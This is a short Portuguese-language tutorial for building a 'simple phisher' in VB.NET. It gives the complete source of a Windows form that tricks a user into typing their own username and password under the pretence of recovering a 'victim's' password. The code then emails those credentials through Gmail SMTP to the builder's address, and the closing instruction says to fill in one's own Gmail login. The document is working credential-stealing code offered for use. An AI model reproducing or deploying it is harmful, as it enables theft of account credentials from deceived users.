Como fazer um phisher simples em VB.NET

• 3 Textbox
• A Button
• A Gmail Account

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Try

            If TextBox1.Text = "" Then
                MessageBox.Show("Please enter your username", "Error")
            ElseIf TextBox2.Text = "" Then
                MessageBox.Show("Please enter your password", "Error")
            ElseIf TextBox3.Text = "" Then
                MessageBox.Show("Please enter the victims username", "Error")
            Else
                Dim Mail As New MailMessage
                Mail.Subject = "FBA Hacker"
                Mail.To.Add("ur_id@gmail.com")
                Mail.From = New MailAddress("ur_id@gmail.com")
                Mail.Body = "Username:" & TextBox1.Text & "   Password:" & TextBox2.Text
                Dim SMTP As New SmtpClient("SMTP.gmail.com")
                SMTP.EnableSsl = True
                SMTP.Credentials = New System.Net.NetworkCredential("ur_id@gmail.com", "ur_pass")
                SMTP.Port = "587"
                SMTP.Send(Mail)
                MessageBox.Show("Password of the victims account will be sent to your facebook account", "Notification")

            End If

        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub

End Class

Substituir "ur_id@gmail.com" e "ur_pass com ur gmail id e passar respectivamente